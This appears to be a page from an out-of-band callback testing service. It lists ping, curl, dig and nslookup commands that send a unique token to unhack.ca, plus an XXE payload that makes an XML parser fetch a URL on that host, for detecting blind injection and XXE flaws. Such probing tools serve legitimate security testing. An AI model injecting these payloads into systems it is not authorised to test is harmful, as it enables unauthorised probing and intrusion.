$ ping -c1 -p 004664cc4c7832f2845942a13800c200 unhack.ca
 
$ curl http://unhack.ca/p/4664cc4c7832f2845942a13800c2
 
$ dig 4664cc4c7832f2845942a13800c2 @unhack.ca
 
$ dig 4664cc4c7832f2845942a13800c2.ns.unhack.ca
 
C:\> nslookup 4664cc4c7832f2845942a13800c2 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4664cc4c7832f2845942a13800c2">]>
    <foo>&xxe;</foo>
 
Waiting for ping...